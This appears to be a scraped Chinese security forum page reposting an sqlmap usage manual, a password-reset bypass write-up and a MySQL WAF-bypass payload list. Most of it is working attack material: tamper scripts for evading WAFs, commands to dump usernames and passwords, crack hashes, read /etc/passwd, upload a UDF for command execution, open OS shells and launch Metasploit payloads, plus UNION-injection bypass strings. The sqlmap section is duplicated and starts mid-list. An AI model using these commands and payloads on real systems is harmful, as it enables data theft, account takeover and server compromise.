equaltolike.pylike
代替等号
space2dash.py
绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py
绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py
空格替换为#号,随机字符串以及换行符
apostrophenullencode.py
绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py
当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py
空格替换为#号
以及更多随机字符串
换行符
appendnullbyte.py
在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py
绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’ space2mssqlblank.py(mssql) 空格替换为其它空符号
base64encode.py
用base64编码替换
space2mssqlhash.py
替换空格
modsecurityversioned.py
过滤空格,包含完整的查询版本注释
space2mysqlblank.py
空格替换其它空白符号(mysql)
between.py
用between替换大于号(>)
space2mysqldash.py
替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py
围绕SQL关键字添加多个空格
space2plus.py
用+替换空格
bluecoat.py
代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py
双重查询语句,取代SQL关键字
space2randomblank.py
代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py
追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py
双url编码(不处理以编码的)
unionalltounion.py
替换UNION ALLSELECT UNION SELECT
charencode.py
url编码
randomcase.py
随机大小写
unmagicquotes.py
宽字符绕过
GPCaddslashes randomcomments.py
用/**/分割sql关键字
charunicodeencode.py
字符串unicode编码
securesphere.py
追加特制的字符串
versionedmorekeywords.py
注释绕过 space2comment.py
替换空格字符串(‘‘) 使用注释‘/**/’
halfversionedmorekeywords.py
  
URL重写SQL注入测试   
value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。 sqlmap.py -u ” http://www.potian.com/param1/value1 */param2/value2/”列举并破解密码哈希值 当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。 sqlmap.py -u ” http://www.potian.com/sqlmap/pgsql/get_int.php?id=1 ” –passwords -v1     获取表中的数据个数     sqlmap.py -u ” http://www.potian.com/sqlmap/mssql/iis/get_int.asp?id=1 ” –count -Dtestdb     站点爬取  sqlmap.py -u “ http://www.secbang.com “–batch –crawl=3     注入时间预估(基于布尔)  sqlmap.py -u “ http://www.secbang.com/sqlmap/oracle/get_int_bool.php?id=1 “-b –eta     使用hex避免字符编码导致数据丢失    sqlmap.py -u “ http://www.secbang.com/pgsql/get_int.php?id=1 ” –banner –hex -v 3 –parse-errors     模拟测试手机环境站点     python sqlmap.py -u ” http://www.secbang.com/vuln.php?id=1 ” –mobile     智能判断测试     sqlmap.py -u “ http://www.secbang.com/info.php?id=1 “–batch –smart     结合burpsuite进行注入  sqlmap.py -r burpsuite 抓包.txt     sqlmap 自动填写表单注入  sqlmap.py -u URL –forms sqlmap.py -u URL –forms –dbs sqlmap.py -u URL –forms –current-db sqlmap.py -u URL –forms -D 数据库名称–tables sqlmap.py -u URL –forms -D 数据库名称 -T 表名 –columns sqlmap.py -u URL –forms -D 数据库名称 -T 表名 -Cusername,password –dump                    读取linux下文件sqlmap.py-u “url” –file /etc/password     sqlmap cookies 注入  sqlmap.py -u “ http://www.potian.com/mysql/product/user_info.php?uid=1 024“–cookies “ssuid=*″  –dbs –level 3 sqlmap.py -u 注入点URL –cookie”id=xx” –level 3 sqlmap.py -u url –cookie “id=xx”–level 3 –tables( 猜表名) sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 –coiumns sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 -C username,password –dump     连接mysql数据打开一个交互shell  sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –sql-shell select @@version; select @@plugin_dir;     利用sqlmap上传lib_mysqludf_sys到MySQL插件目录  sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –file-write=d:/tmp/lib_mysqludf_sys.dll–file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll CREATEFUNCTION sys_exec RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ CREATE FUNCTION sys_eval RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ select sys_eval(‘ver’);     执行shell命令  sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/ sqlmap.py -u “url” –os-shell /*系统交互的shell*/     延时注入  sqlmap –dbs -u”url” –delay 0.5 /* 延时0.5秒*/ sqlmap –dbs -u”url” –safe-freq /* 请求2次*/     
0X04 结束语
Sql注入并不只是对数据库的攻击行为,在整个攻击链条涉及到对操作系统、注册表、系统文件、脚本、插件控件、数据、数据库相关等的覆盖,注入用的好,爱人回家早。
看得出这篇文章写得骚姿势非常非常的多,各种绕WAF,绕过。不过这些操作都最好需要自己实际操作并且经常使用才能够利用得更好~ 查看全部
在学习了基础的SQL注入原理之后便开始了SQL注入之路,比如写SQLi和一些CTF中的sql注入题。但是总能够发现自己的一些问题。比如闭合符通常找不到,有一些关键字都被过滤自己却无法GET到绕过的骚姿势,还有就是无论输入什么他都不会有任何反应等等一系列的问题。而在了解了sqlmap的强大的自动化之外,每次只是 
-u "url"

如果第一次用sqlmap扫不出来的话顶多会将参数改为
-u "url" --risk3 --level3 //如果这次也测不出来的话我就会说在心里说一句sqlmap哪里强大了,同时也会感叹自己的知识储备太垃圾了



 而今天在freebuf社区中看到了一篇关于SQLMAP的深度解析,仔细看了看之后确实涨了姿势。
SQLMAP深度解析及使用手册
0X00 背景
写这篇技术文有两个诱因,一是大菲兄弟@大菲哥和朋友从国外买了一篇二十美刀的XSS文章,做了翻译,自古XSS和sql注入是倚天屠龙的对立统一关系,所以有朋友说想看一看sql注入的文章。

二是大概一年前一朋友对sqlmap的使用除了-u参数几乎一无所知,让我给做了个使用手册,刚好拿出来在此基础上进行完善和优化。
我本人是owasp北京分会的负责人,owasp的top10几乎一直是sql注入独揽第一,所以也想就这个机会把sql注入好好给大家聊一聊,本文也参考了众多前辈的经验,在这里向每个奉献、开源的前辈说一声感谢。

有些朋友说想让聊聊手工注入,首先我个人手工注入技巧不是很好,再者手工注入需要一定的技术积累和编程底子,受众有限,后期有机会再深入谈。我个人在渗透上的看法是工具是人类进步的象征,工具的使用绝对是自动化、智能化和量化不可或缺的内容,当然,工具毕竟是死的,好的安全人肯定是左手自动化右手人工。

0X01 SqlMap介绍及分析
SQLMAP是一种开源渗透测试工具,可自动执行SQL注入缺陷的检测和开发过程,并接管数据库服务器。它有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令。,以及从数据库指纹识别、从数据库获取数据、访问底层文件的广泛范围的交换机通过带外连接在操作系统上执行命令.
sqlmap is anopen source penetration testing tool that automates the process of detectingand exploiting SQL injection flaws and taking over of database servers. Itcomes with a powerful detection engine, many niche features for the ultimatepenetration tester and a broad range of switches lasting from database fingerprinting,over data fetching from the database, to accessing the underlying file systemand executing commands on the operating system via out-of-band connections.(源于官方介绍)








SQLMAP支持的数据包括:MySQL, Oracle,PostgreSQL,Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库。
SQLMAP目前支持的注入方式包括(默认全进行):
l   B: Boolean-based blind SQL injection(布尔型注入)

l E: Error-based SQL injection(报错型注入)

l U: UNION query SQL injection(可联合查询注入)

l S: Stacked queries SQL injection(可多语句查询注入)

l T: Time-based blind SQL injection(基于时间延迟注入)

l Q: Inline SQL Injection (内联注入)

SQLMAP 分析:
SQLMAP的功能模块参数由几大类构成(见下表),分别是:  

1.png

 
0X02 Sqlmap使用经验总结
以下参数在进行SQL注入时配置恰当会使得注入攻击事半功倍。以下是笔者对SQLmap 使用的经验总结:
[size=20]1  [/size]在使用-v参数的时候,尽量选择,3级别,次级别可以显示注入的参数。 例如:sqlmap -v3 -u www.potian.com 
[size=20]2 [/size]当一件知道数据库信息的时候,使用-d直接连接数据库,注意-D是指定目标库,要区分。
例如:-d mysql://POTIAN : 123123 @127.0.0.1:3306/ ORDER [size=20]3 [/size] 当使用Burp或WebScarab保存了日志的时候,想从日志文件中筛选目标,可使用-I使用 绝对路径地址即可。
4 -g可以使用google的搜索结果,例如,直接搜索uid=,查找具有此参数的站点,直接使用sqlmap调用google结果,例:sqlmap -g inurl:php?uid=。(收集了一些语句,在附表)当需要使用-g inurl:php?uid=等参数时,默认无法访问,可使用此参数+海外代理方式使用此功能。当代理需要验证的时候,使用-cre指定身份信息,需要使用代理轮巡时,使用文件加载代理设置列表,使用代理轮询也可在对访问ip次数进行了验证的场景使用。(鉴于我国国情,不建议使用)
5 服务端允许的情况下,–method改变默认的http方法,和其他参数配合使用,例如–data,改变为post然后推送数据。
6 默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/*.*-dev-xxxxxxx(http://sqlmap.org) 可以使用–user-agent参数来指定想使用的UA,同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入.另外UA是绕过waf的参数,–user-agent= –random-agent这两个参数可对waf针对恶意ua的防控进行绕过。
7 指定http请求中的header里的host参数、在请求中伪造referer,有些waf和安全产品等会对refer进行限制,仅允许本站referer,当waf参数对referer进行了限制后,可使用此参数进行绕过。当–level参数设定为3或者3以上的时候会尝试对referer注入指定其他的header信息,XFF等,例如strust2-045使用了Content-Type
8 HTTP代理身份验证凭据,可自动使用username:password和秘钥文件,例如有些访问会使用key文件,集团sso最爱出现此种场景,在这种身份验证凭据的需求中,也可使用-I参数使用burp等代理记录文件来使用身份凭据
9 设置http请求间隔时间,在绕过需求时使用,例如单ip单位时间访问多少次,可配合代理和多代理参数使用。超时连接后的尝试间隔,默认30s,可手动调整,一般–timeout和–retries配合使用
10 有的网站会对提交的参数进行编码或加密,这时候需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。
例子:–eval=”"import hashlib;hash=hashlib.md5(id).hexdigest()”"上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。”
11 sqlmap默认测试所有的GET和POST参数,上文提到过,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值。这时候可以手动指定-p参数设置想要测试的参数。 例如:-p “”id,cookie”"但是有个别参数不想测试的时候可以使用–skip=“user-agent”参数。
12 数值处理:参数:–invalid-bignum –invalid-logical这两个参数对报错数据、无效数据进行更改,例如默认报错UID=-20,可以通过制定以上参数制定无效的大数字和逻辑,比如uid=999999999和uid=20 and a=b
参数:–prefix,–suffix在注入的payload的前面或者后面加一些字符,来保证payload的正常执行,例如在语句中增加–prefix “”’)”" –suffix “”AND (’1’=’1″”
13 –tamper可从tamper库里查找相关内容,使用–tamper tamper/*.py方式指定
14 上文多次解释–level对测试参数的影响,一共有五个等级,默认为1,sqlmap使用的payload可以在payloads.xml中看到,你也可以根据相应的格式添加自己的payload内容,默认也有一些,可定制。
–level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值,建议最高级别,会更慢、测试参数更复杂。
15 risk从0-3共有四个风险等级,默认是1,risk1会测试大部分的测试语句,risk2会增加基于事件的测试语句,3会增加OR语句的注入测试。测试的语句同样可以在payloads.xml中找到,可以自行添加payload。
警告:当使用高级别时,可能会使用drop、update等高危语句对整表、整库造成影响,可能导致更新的整个表,可能造成很大的风险。
16 “sqlmap测试结果取决于返回内容,当页面在刷新或更新后,可能导致返回不同的内容,特别是页面有动态内容的情况下。为了避免误报,可指定字符串或者正则表达式来区分原始页面和报错页面(–string参数添加字符串,–regexp添加正则),也可以提供一段字符串在原始页面与true下的页面都不存在的字符串,而false页面中存在的字符串(–not-string添加)。
用户也可以提供true与false返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,–code=200。
17 默认sqlmap会把BEUSTQ六中注入方式全来一遍,可根据实际情况进行调整,例如可使用时间延迟,看网站响应时间来判断是否有注入,可根据报错判断注入。如果不是很懂,就不用管,虽然时间长点,但很全面。
B:Boolean-based blind SQL injection(布尔型注入)
E:Error-based SQL injection(报错型注入)
U:UNION query SQL injection(可联合查询注入)
S:Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
Q: Inline SQL Injection (内联注入)
当使用基于时间延迟注入的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒,可以根据环境记性调整,比如网络延迟很大,可适当增加延时时间
18 –union-cols设定的值为一段整数范围,制定区间,此数值默认为1-10,随着–levle增加,当为5的时候增加为50,当level级别和取值范围不匹配,在低级别需求更大的范围,可通过设定–union-cols的值来实现。设定union查询使用的字符,默认使用NULL,但是可能会返回失败,–union-char指定UNION查询的字符。指定查询的表,配合上文暴力破解的字符、范围等来详细使用。
19 在一旦注入成功且获得精确信息通过以下详细参数来指定检索、枚举动作和动作执行对象:检索DBMS的指纹特征、数据库、host值、用户身份、并对用户、密码、权限、角色进行枚举也就是爆破。然后尝试枚举数据库、数据库里的表、数据库里的内容、可以使用count来统计条目等操作。dump和dump-all就是脱裤和全脱的区别,dump某表的十条八条可能没事儿,dump-all注定要浪迹天涯,也就是所谓的从脱裤到跑路的开始,通过-D\-T\-C来制定索要枚举的库、表、和列,使用-X来排除不想要的列,特别是有多列且有无意义字段的时候,使用-X可大大节省时间。 –exclude-sysdbs参数,将不会获取数据库自带的系统库内容,可减少干扰内容,对-count的使用和枚举信息的使用建议搭配此参数来排除系统库。
当我们不想跑路的时候,那么请使用下面内容:
–start=LIMITSTART First query output entry to retrieve指定从第几行开始输出,如:
–start=1
–stop=LIMITSTOP
Last query output entry to retrieve
指定从第几行停止输出
–stop=10
–first=FIRSTCHAR
First query output word character to retrieve
指定从第几个字符开始输出
–first 1
–last=LASTCHAR
Last query output word character to retrieve
指定从第几个字符停止输出–last10
20 暴力检查:猜测检查常见的、通用的表名和列名,可通过下面两个文件进行定制化,暴力破解的表在txt/common-tables.txt文件中,暴力破解的列名在txt/common-columns.txt中
21 对文件系统、操作系统的交互和使用必须需要相应的权限,前面提到要求具有特定的函数执行特权,一般要求root。针对文件系统的读写:对–file-read配置绝对系统路径,可读取相应文件内容,可以是文本,也可以是二进制,条件是必须拥有相对应特权,已知的是mysql、postgresql和sqlserver。写入也是同样,往远端后台的DBMS里写入一个本地文件,可通过–file-dest指定绝对文件路径。” 当然和上面可以配合使用,当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。然后通过上面的文件系统管理上传一个库,使用可执行系统命令的sys_exec()和sys_eval(),甚至xp_cmdshell存储过程 –os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。 Meterpreter配合使用 –os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path配合Meterpreter使用,当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,四种方式执行它:
1.通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:–os-pwn。
2.通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:–os-pwn。
3.通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),–os-smbrelay。
4.通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:–os-bof。
22 所见即所得,注册表连接指的是windows系统,相信大家都有windows系统知识,不懂注册表基本就不懂windows系统,所有的windows系统配置在注册表里都可实现,比如开启远程连接、比如新建用户、比如组策略配置、比如防火墙等等,reg可对注册表内容进行读取、编辑、和删除,上面和下面相配合可实现对指定的key、value、data和类型进行操作。
23 –batch
在使用sqlmap时,有时一些响应需要用户交互,输入Y、N、skip、quit等,使用此选项可使用默认配置。
–output-dir=
指定输出路径,方式控制台输出过多,无法查看,也方便记录
–gpage=GOOGLEPAGE
好像默认是使用google搜索的前100个文件,当使用前面的-g参数,配合此参数指定页面
–identify-waf
进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别
–mobile
使用移动产品UA,把sqlmap伪装成手机,也可使用前面的
-user-agent
自己指定
–smart
智能深度启发式扫描,或许会有惊喜呢。
–wizard 和上面的完全不同,纯新手选择,一步步让你输入url等参数,基本输入个url就行。

 
 
0X03 Sqlmap实操语句
手工基本检测和判断(在注入点使用or、and等可判断是否有注入点)       
  1. 原始网页:http://www.potian.com/mysql/product/user_info.phpuid=1024 
  2. 构造url1:http://www.potian.com/mysql/product/user_info.phpuid=1024+AND+1=1
  3. 构造url2:http://www.potian.com/mysql/product/user_info.phpuid=1 024+AND+1=1025     

基础检测语法   
sqlmap.py -u  http://www.potian.com/mysql/product/user_info.php?uid=1 024 

     
批量检测  
“sqlmap.py -m target.txt” //注意target.txt跟sqlmap在同一个目录下。
    
绕过WAF进行SQL注入     
  1. 修改\sqlmap\tamper\halfversionedmorekeywords.py return match.group().replace(word, ”/*!0%s” % word) 为:return match.group().replace(word, ”/*!50000%s*/” % word) 
  2. 修改\sqlmap\xml\queries.xml <cast query= ”CAST(%s ASCHAR)”/>为:<castquery=”convert(%s,CHAR)”/> 
  3. 使用sqlmap进行注入测试sqlmap.py -u ”http://www.potian.com/detail.php id=16″ –tamper “halfversionedmorekeywords.py” 
  4. 其它绕过waf脚本方法:sqlmap.py-u “ http://www.potian.com/mysql/product/user_info.phpuid=1 024” –tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 

tamper目录下文件具体含义
space2comment.py
用/**/代替空格
apostrophemask.py
用utf8代替引号
equaltolike.pylike
代替等号
space2dash.py
绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py
绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py
空格替换为#号,随机字符串以及换行符
apostrophenullencode.py
绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py
当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py
空格替换为#号
以及更多随机字符串
换行符
appendnullbyte.py
在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py
绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’ space2mssqlblank.py(mssql) 空格替换为其它空符号
base64encode.py
用base64编码替换
space2mssqlhash.py
替换空格
modsecurityversioned.py
过滤空格,包含完整的查询版本注释
space2mysqlblank.py
空格替换其它空白符号(mysql)
between.py
用between替换大于号(>)
space2mysqldash.py
替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py
围绕SQL关键字添加多个空格
space2plus.py
用+替换空格
bluecoat.py
代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py
双重查询语句,取代SQL关键字
space2randomblank.py
代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py
追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py
双url编码(不处理以编码的)
unionalltounion.py
替换UNION ALLSELECT UNION SELECT
charencode.py
url编码
randomcase.py
随机大小写
unmagicquotes.py
宽字符绕过
GPCaddslashes randomcomments.py
用/**/分割sql关键字
charunicodeencode.py
字符串unicode编码
securesphere.py
追加特制的字符串
versionedmorekeywords.py
注释绕过 space2comment.py
替换空格字符串(‘‘) 使用注释‘/**/’
halfversionedmorekeywords.py

  
URL重写SQL注入测试   
  • value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。 sqlmap.py -u ” http://www.potian.com/param1/value1 */param2/value2/”
列举并破解密码哈希值 
  • 当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。 sqlmap.py -u ” http://www.potian.com/sqlmap/pgsql/get_int.php?id=1 ” –passwords -v1     
获取表中的数据个数     
  • sqlmap.py -u ” http://www.potian.com/sqlmap/mssql/iis/get_int.asp?id=1 ” –count -Dtestdb     
站点爬取  
  • sqlmap.py -u “ http://www.secbang.com “–batch –crawl=3     
注入时间预估(基于布尔)  
  • sqlmap.py -u “ http://www.secbang.com/sqlmap/oracle/get_int_bool.php?id=1 “-b –eta     
使用hex避免字符编码导致数据丢失    
  • sqlmap.py -u “ http://www.secbang.com/pgsql/get_int.php?id=1 ” –banner –hex -v 3 –parse-errors     
模拟测试手机环境站点     
  • python sqlmap.py -u ” http://www.secbang.com/vuln.php?id=1 ” –mobile     
智能判断测试     
  • sqlmap.py -u “ http://www.secbang.com/info.php?id=1 “–batch –smart     
结合burpsuite进行注入  
  • sqlmap.py -r burpsuite 抓包.txt     
sqlmap 自动填写表单注入  
  • sqlmap.py -u URL –forms sqlmap.py -u URL –forms –dbs sqlmap.py -u URL –forms –current-db sqlmap.py -u URL –forms -D 数据库名称–tables sqlmap.py -u URL –forms -D 数据库名称 -T 表名 –columns sqlmap.py -u URL –forms -D 数据库名称 -T 表名 -Cusername,password –dump                    
读取linux下文件
  • sqlmap.py-u “url” –file /etc/password     
sqlmap cookies 注入  
  • sqlmap.py -u “ http://www.potian.com/mysql/product/user_info.php?uid=1 024“–cookies “ssuid=*″  –dbs –level 3 sqlmap.py -u 注入点URL –cookie”id=xx” –level 3 sqlmap.py -u url –cookie “id=xx”–level 3 –tables( 猜表名) sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 –coiumns sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 -C username,password –dump     
连接mysql数据打开一个交互shell  
  • sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –sql-shell select @@version; select @@plugin_dir;     
利用sqlmap上传lib_mysqludf_sys到MySQL插件目录  
  • sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –file-write=d:/tmp/lib_mysqludf_sys.dll–file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll CREATEFUNCTION sys_exec RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ CREATE FUNCTION sys_eval RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ select sys_eval(‘ver’);     
执行shell命令  
  • sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/ sqlmap.py -u “url” –os-shell /*系统交互的shell*/     
延时注入  
  • sqlmap –dbs -u”url” –delay 0.5 /* 延时0.5秒*/ sqlmap –dbs -u”url” –safe-freq /* 请求2次*/     

0X04 结束语
Sql注入并不只是对数据库的攻击行为,在整个攻击链条涉及到对操作系统、注册表、系统文件、脚本、插件控件、数据、数据库相关等的覆盖,注入用的好,爱人回家早。
看得出这篇文章写得骚姿势非常非常的多,各种绕WAF,绕过。不过这些操作都最好需要自己实际操作并且经常使用才能够利用得更好~

记一次有趣的密码重置

gu 发表了文章 • 4 个评论 • 104 次浏览 • 2019-03-03 11:17 • 来自相关话题

转自(https://www.freebuf.com/vuls/196382.html)
前景提要
之前有测过客户的App,发现在忘记密码的地方存在手机号验证绕过导致任意用户密码重置,登陆后的修改密码也是存在手机号验证绕过问题。这次测试的是Web端,发现之前的几个接口都是和app一样的,所以拿到手就先开始对密码这部分下手。
正片
开局直奔忘记密码的重置,但是开发已经学乖了,已经把这个在app端发现的问题修复了,寻之无果,又转战到个人中心修改密码处。
看起来是挺吓人的,又是手机验证码,又是旧密码的。走一波流程,发现是先验证手机验证码,从下图的参数中可以看到是分步验证的,首先尝试绕过手机验证。


修改code=0绕过第一次手机号验证。下图为第二次验证提交参数,发现还有一个验证码的参数,以为会进行二次效验,但是万万没想到,直接放行就修改成功了。。。。。。


看来都是纸老虎,再看参数中好像并没有其他做验证的参数,丢到repeater里尝试看看修改手机号为另一个手机号能否成功。

???黑人问号脸,看来还是做了身份验证,也就是上图中的ut值,绑定当前用户的手机号,也就是说要修改别人手机号得拿到别人的ut值。原本打算到这里结束了,但是心有不甘,回想了一下上一次挖到的任意用户密码重置过程,在上一次的挖掘中重置用户密码是没有用户身份验证的,因为是从忘记密码进去的,所以没有经过用户登录,然而登录以后则验证了ut和手机号。那么问题就在于如何让他变成没有用户登录的情况,由于ut值是整个系统判断用户登录信息的唯一参数,所以我尝试删除cookie中的ut值,达到用户未登录状态。

Bingo,大吉大利,今晚吃鸡。
观后感
初步猜测一下这个逻辑是存在ut值的时候会对当前用户的手机号进行验证,然而在没有ut值的时候无法获取当前用户信息,也就无法进行手机号验证,同时也未对手机验证码以及旧密码进行验证导致密码修改成功。 查看全部
转自(https://www.freebuf.com/vuls/196382.html
前景提要
之前有测过客户的App,发现在忘记密码的地方存在手机号验证绕过导致任意用户密码重置,登陆后的修改密码也是存在手机号验证绕过问题。这次测试的是Web端,发现之前的几个接口都是和app一样的,所以拿到手就先开始对密码这部分下手。
正片
开局直奔忘记密码的重置,但是开发已经学乖了,已经把这个在app端发现的问题修复了,寻之无果,又转战到个人中心修改密码处。
看起来是挺吓人的,又是手机验证码,又是旧密码的。走一波流程,发现是先验证手机验证码,从下图的参数中可以看到是分步验证的,首先尝试绕过手机验证。


修改code=0绕过第一次手机号验证。下图为第二次验证提交参数,发现还有一个验证码的参数,以为会进行二次效验,但是万万没想到,直接放行就修改成功了。。。。。。


看来都是纸老虎,再看参数中好像并没有其他做验证的参数,丢到repeater里尝试看看修改手机号为另一个手机号能否成功。

???黑人问号脸,看来还是做了身份验证,也就是上图中的ut值,绑定当前用户的手机号,也就是说要修改别人手机号得拿到别人的ut值。原本打算到这里结束了,但是心有不甘,回想了一下上一次挖到的任意用户密码重置过程,在上一次的挖掘中重置用户密码是没有用户身份验证的,因为是从忘记密码进去的,所以没有经过用户登录,然而登录以后则验证了ut和手机号。那么问题就在于如何让他变成没有用户登录的情况,由于ut值是整个系统判断用户登录信息的唯一参数,所以我尝试删除cookie中的ut值,达到用户未登录状态。

Bingo,大吉大利,今晚吃鸡。
观后感
初步猜测一下这个逻辑是存在ut值的时候会对当前用户的手机号进行验证,然而在没有ut值的时候无法获取当前用户信息,也就无法进行手机号验证,同时也未对手机验证码以及旧密码进行验证导致密码修改成功。

【转帖】WAF Bypass数据库特性(Mysql探索篇)

cat 发表了文章 • 3 个评论 • 121 次浏览 • 2019-02-26 21:20 • 来自相关话题

0x01 前言
我们经常利用一些数据库特性来进行WAF绕过。在Mysql中,比如可以这样:内联注释: /*!12345union*/select
Mysql黑魔法: select{x user}from{x mysql.user};
换行符绕过:%23%0a、%2d%2d%0a

一起去探索一下能够绕过WAF防护的数据库特性。



 0x02 测试
常见有5个位置即:SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】1,user()【位置四】from【位置五】admin

   
位置一:参数和union之间的位置(1)常见形式:/**/、/*!50000union*/等形式:
SELECT * FROM admin WHERE username = 1 union/**/select 1,user() from admin
(2)空白字符:
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1%0aunion select 1,user() from admin
其他形式如:%1%20、%3920、%40%20、%23%0a、%2d%2d%0a
(3)浮点数形式 :1.1
SELECT * FROM admin WHERE username = 1.0union select 1,user() from admin
SELECT * FROM admin WHERE username = 1.union select 1,user() from admin
其他形式如:%1%2e、%2%2e
(4)1E0的形式(科学计数法):
SELECT * FROM admin WHERE username = 1E0union select 1,user() from admin
(5) Nunion的形式:
SELECT * FROM admin WHERE username = Nunion select 1,user() from admin 位置二:union和select之间的位置(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union%a0select 1,user() from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/ 、/*anything*/
(3)括号
SELECT * FROM admin WHERE username =1 union(select 'test',(select user() from admin limit 0,1))
select * from admin union(select 'test',(select 'asd'),(select user() from users limit 0,1)) 
位置三:select和查询参数之间的位置(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select%091,user() from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/、/*anything*/
(3)其他字符
%21 ! 叹号
%2b + 加号
%2d - 减号
%40 @ 电子邮件符号
%7e ~ 波浪号
SELECT * FROM admin WHERE username = 1 union select~1,user() from admin
(4)其他方式:
括号: SELECT * FROM admin WHERE username = 1 union select(1),user() from admin
内联: SELECT * FROM admin WHERE username = 1 union /!12345select/1,user() from admin
@字符:SELECT * FROM admin WHERE username = 1 union select@1,user() from admin
{括号:SELECT * FROM admin WHERE username = 1 union select {x 1},user() from admin
引号: SELECT * FROM admin WHERE username = 1 union select"1",user() from admin
N: SELECT * FROM admin WHERE username = 1 union selectN,user() from admin


位置四:查询参数和from之间的位置(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select 1,user()%09from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/ 、/*anything*/
(3)其他符号
波浪号%60: SELECT * FROM admin WHERE username = 1 union(select 1,(select schema_namefrom information_schema.SCHEMATA limit 0,1)) SELECT * FROM admin WHERE username = 1 union select 1,user()`from admin
内联注释: SELECT * FROM admin WHERE username = 1 union(select 1,(select/!schema_name/from information_schema.SCHEMATA limit 1,1))
{括号: SELECT * FROM admin WHERE username = 1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))
括号: SELECT * FROM admin WHERE username = 1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))
